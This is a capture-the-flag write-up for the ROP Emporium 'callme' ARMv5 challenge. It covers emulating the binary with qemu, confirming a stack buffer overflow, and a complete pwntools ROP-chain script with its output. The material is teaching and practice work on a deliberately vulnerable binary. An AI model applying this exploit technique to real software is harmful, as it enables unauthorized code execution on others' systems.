#rop #arm # callme ARM ## Triage ![](https://i.imgur.com/ciG54hX.png) Chain calls to multiple imported methods with specific arguments and see how the differences between 64 & 32 bit calling conventions affect your ROP chain. ### Disassembly main function calls vulnerable call pwnme ![](https://i.imgur.com/mffmqU4.png) pwnme function ![](https://i.imgur.com/lXl1fQl.png) ## Emulation Because this binary is an ARM archetecture, to be able to run the binary we need to emulate it somehow. I will be using [qemu](https://www.qemu.org/), specifically qemu-arm\ Install require libraries `sudo apt-get install gcc-arm-linux-gnueabi libc6-armel-cross` Run the binary `qemu-arm -L /usr/arm-linux-gnueabi ./callme_armv5` ## Vulnerability In the pwnme function, 0x200 bytes are read into the user_input buff but the user_input buff is on the stack -0x28 (-40) bytes off from the return address. If we supply 40 bytes, the last 4 bytes will overflow the return address and we gain control of the program counter. Confirming the vulnerability: ```bash python -c 'print "A"*36+"BBBB"' | qemu-arm -strace -L /usr/arm-linux-gnueabi ./callme_armv5 ``` ```bash --- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} --- qemu: uncaught target signal 11 (Segmentation fault) - core dumped [1] 3275957 done python -c 'print "A"*36+"BBBB"' | 3275958 segmentation fault (core dumped) qemu-arm -strace -L /usr/arm-linux-gnueabi ./callme_armv5 ``` ## Exploit Description says: `To dispose of the need for any RE I'll tell you the following: You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag.` In arm32 the way to pass function parameters through registers: `r0,r1,r2,r3` We need gadgets that can pop the values off the stack and into the correct registers. Using ROPgadget: `pop_r0_r1_r2_lr_pc = p32(0x00010870)# : pop {r0, r1, r2, lr, pc}` `pop_r3_pc = p32(0x000105dc)# : pop {r3, pc}` We set the link register to the `pop_r3_pc` gadget to place the next function on the stack into `pc` but we also have a junk register of `r3` so I place 0 in there, ### Script ```python from pwn import * context.binary = elf = ELF("./callme_armv5") pop_r0_r1_r2_lr_pc = p32(0x00010870)# : pop {r0, r1, r2, lr, pc} pop_r3_pc = p32(0x000105dc)# : pop {r3, pc} payload = "A"*36 payload += pop_r0_r1_r2_lr_pc payload += p32(0xdeadbeef) # r0 payload += p32(0xcafebabe) # r1 payload += p32(0xd00df00d) # r2 payload += p32(0x000105dc) # lr payload += p32(elf.sym['callme_one']) # pc payload += p32(0) # r3 payload += pop_r0_r1_r2_lr_pc #pc payload += p32(0xdeadbeef) # r0 payload += p32(0xcafebabe) # r1 payload += p32(0xd00df00d) # r2 payload += p32(0x000105dc) # lr payload += p32(elf.sym['callme_two']) # pc payload += p32(0) # r3 payload += pop_r0_r1_r2_lr_pc #pc payload += p32(0xdeadbeef) # r0 payload += p32(0xcafebabe) # r1 payload += p32(0xd00df00d) # r2 payload += p32(0) # lr payload += p32(elf.sym['callme_three']) # pc io = process("./callme_armv5",env={"QEMU_LD_PREFIX":"/usr/arm-linux-gnueabi"}) #io =gdb.debug("./callme_armv5",env={"QEMU_LD_PREFIX":"/usr/arm-linux-gnueabi"}) io.sendline(payload) io.interactive() ``` ### Result ```bash [*] '/home/chris/ctfs/ropemporium/callme/arm/callme_armv5' Arch: arm-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x10000) RUNPATH: '.' [+] Starting local process './callme_armv5': pid 3278592 [*] Switching to interactive mode callme by ROP Emporium ARMv5 Hope you read the instructions... > Thank you! callme_one() called correctly callme_two() called correctly ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive ```